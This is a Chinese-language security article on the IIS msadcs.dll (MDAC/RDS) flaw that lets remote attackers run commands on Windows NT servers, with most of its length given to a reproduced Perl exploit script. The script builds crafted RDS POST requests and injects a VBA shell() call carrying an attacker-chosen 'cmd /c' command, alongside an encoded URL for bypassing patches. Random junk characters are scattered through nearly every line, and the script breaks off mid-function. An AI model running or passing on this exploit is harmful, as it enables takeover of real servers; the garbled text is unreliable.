IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
m1,?rqeb Ejc%DSG 涉及程序:
OVr,
{[r Microsoft NT server
s^5KFK1 CX](^yU_ 描述:
CKJ9YKu{W 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
/8V#6d_ Jpi\n-
d! 详细:
"[f"h 如果你没有时间读详细内容的话,就删除:
fq^D<c{3 c:\Program Files\Common Files\System\Msadc\msadcs.dll
nXjf,J-T 有关的安全问题就没有了。
>T'=4n[' *>otz5] 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
C.SGm __x2xtrH 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
q,b6). 关于利用ODBC远程漏洞的描述,请参看:
z}I4m e[txJ*SuO http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm SplEY!.k U@#YKv 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
=4RXNWkud http://www.microsoft.com/security/bulletins/MS99-025faq.asp x13t@b 8r7}6 这里不再论述。
=,Yi" E J*)Vpk 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
CiE h-0sDt pR /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
'FB?#C %U 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
9uk}r; %9 FD?!bI4 jJ^p
? #将下面这段保存为txt文件,然后: "perl -x 文件名"
3GEI) ! {d`e9^Z: #!perl
t*<@>] k #
DDdMWH^o7 # MSADC/RDS 'usage' (aka exploit) script
J%|!KQl #
25xpq^Zw # by rain.forest.puppy
*E"QFirk0 #
;;z4EGr # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
r>fx55dw # beta test and find errors!
>)g`;iO b$/TfpNdo use Socket; use Getopt::Std;
bZ!*s getopts("e:vd:h:XR", \%args);
9qIdwDRY
VgfA&?4[ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
5GD6%{\O w2BIf[~t if (!defined $args{h} && !defined $args{R}) {
d-%!.,F#W print qq~
0fgt2gA33 Usage: msadc.pl -h <host> { -d <delay> -X -v }
[%U(l< -h <host> = host you want to scan (ip or domain)
21Z}Zj -d <seconds> = delay between calls, default 1 second
Ap}^6_YXd -X = dump Index Server path table, if available
fbF *C V -v = verbose
\A
gPkW -e = external dictionary file for step 5
R~40,$e{ Jv Or a -R will resume a command session
0!v+ + lq2P10j@ ~; exit;}
b!W!Vvf^x ICSi<V[y1 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
$$E!u} if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
2{!o"6t if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
*b+ef if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
\B _g=K $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
%T:~N<8) if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
_c*0Rr $~M#msK9 if (!defined $args{R}){ $ret = &has_msadc;
U
00}jH die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
QdaYP ]MjQr0&M print "Please type the NT commandline you want to run (cmd /c assumed):\n"
'1?b?nVo . "cmd /c ";
cx?XJ) $in=<STDIN>; chomp $in;
'gYUyl $command="cmd /c " . $in ;
|2mm@): N*.JQvbnr if (defined $args{R}) {&load; exit;}
zZ3Ko3L%g_ YGVj$\ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
NP%Y\%;l6 &try_btcustmr;
3nVdws 96fzSZS, print "\nStep 2: Trying to make our own DSN...";
LfD70r\ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
YXCfP~i 9I0}:J;7 print "\nStep 3: Trying known DSNs...";
m'h`%0Tc &known_dsn;
JGH;&UYP qsnZ?hXPp print "\nStep 4: Trying known .mdbs...";
'bN\8t\S &known_mdb;
BbA7X B%95M| if (defined $args{e}){
x:bJ1% print "\nStep 5: Trying dictionary of DSN names...";
o"F=3b~:n &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
# biI=S 2CX'J8Sy print "Sorry Charley...maybe next time?\n";
w4YuijhW exit;
9Xw(|22 "F/% {0d ##############################################################################
BLzlXhHn Bob K>db sub sendraw { # ripped and modded from whisker
` <+MR6M sleep($delay); # it's a DoS on the server! At least on mine...
uW*)B_c my ($pstr)=@_;
/Jz?~H{%n socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
e 5hq>K die("Socket problems\n");
N%Gb if(connect(S,pack "SnA4x8",2,80,$target)){
RJ/4T#b"+ select(S); $|=1;
rwb7>]UI"d print $pstr; my @in=<S>;
u~Zx9>f select(STDOUT); close(S);
U~krv>I return @in;
gzS6{570 } else { die("Can't connect...\n"); }}
?[#nh@mI OgpZwwk ##############################################################################
}E626d}uA G}B)bM2 sub make_header { # make the HTTP request
aw
z(W> my $msadc=<<EOT
s!*m^zx POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
C*A!`Q?1Y User-Agent: ACTIVEDATA
Y%AVC9( Host: $ip
&S/@i|_ Content-Length: $clen
B5'-v%YO+ Connection: Keep-Alive
v8Ga@* F91'5D,u0 ADCClientVersion:01.06
tOx)t$ix Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
V=%j]`Os n&V \s0 --!ADM!ROX!YOUR!WORLD!
&)4#0L4 Content-Type: application/x-varg
E! '|FJ Content-Length: $reqlen
p^u;]~JO &rY73qfP' EOT
'CiV=&3/ ; $msadc=~s/\n/\r\n/g;
9r,)Bw!RP return $msadc;}
r(g:b
^S fUy:TCS ##############################################################################
SJ(<u2J] |X :"AH"S sub make_req { # make the RDS request
X
wvH my ($switch, $p1, $p2)=@_;
B%Pg:| my $req=""; my $t1, $t2, $query, $dsn;
V^9c:!aI p*F.WxB)4 if ($switch==1){ # this is the btcustmr.mdb query
JHN{vB $query="Select * from Customers where City=" . make_shell();
XcfvmlBoD- $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
`acX1YWh5 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
7[=MgnmuC
jQDXl elsif ($switch==2){ # this is general make table query
.wj?}Fr?97 $query="create table AZZ (B int, C varchar(10))";
}=.:bwX5 $dsn="$p1";}
Bp
#:sAG Li[ :L elsif ($switch==3){ # this is general exploit table query
0s>ozAJ $query="select * from AZZ where C=" . make_shell();
9"T&P_
$dsn="$p1";}
_}4l4 !Z f<
j elsif ($switch==4){ # attempt to hork file info from index server
J]|Zh $query="select path from scope()";
oC"1{ybyl $dsn="Provider=MSIDXS;";}
7f!"vhCXM; i8CO+Iv*{ elsif ($switch==5){ # bad query
4hRc,Vq $query="select";
''Lf6S`4X~ $dsn="$p1";}
\]bAXa{ p AUZ^XiK $t1= make_unicode($query);
~.-o* $t2= make_unicode($dsn);
Mi+<|5is $req = "\x02\x00\x03\x00";
VJp; XM $req.= "\x08\x00" . pack ("S1", length($t1));
;- ~}g 7$ $req.= "\x00\x00" . $t1 ;
Fp3NWvu $req.= "\x08\x00" . pack ("S1", length($t2));
OAGI|`E$/- $req.= "\x00\x00" . $t2 ;
C!a#M{: $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
*^|.bBG return $req;}
AmSrc. HB+{vuN*L ##############################################################################
0O,Q]P 82f Y
6B7qp sub make_shell { # this makes the shell() statement
QU&LC return "'|shell(\"$command\")|'";}
J0{;" QLr.5Wcg> ##############################################################################
J['pBlEb\ F#<$yUf% sub make_unicode { # quick little function to convert to unicode
14U:.Q my ($in)=@_; my $out;
'JA<q-Gn for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
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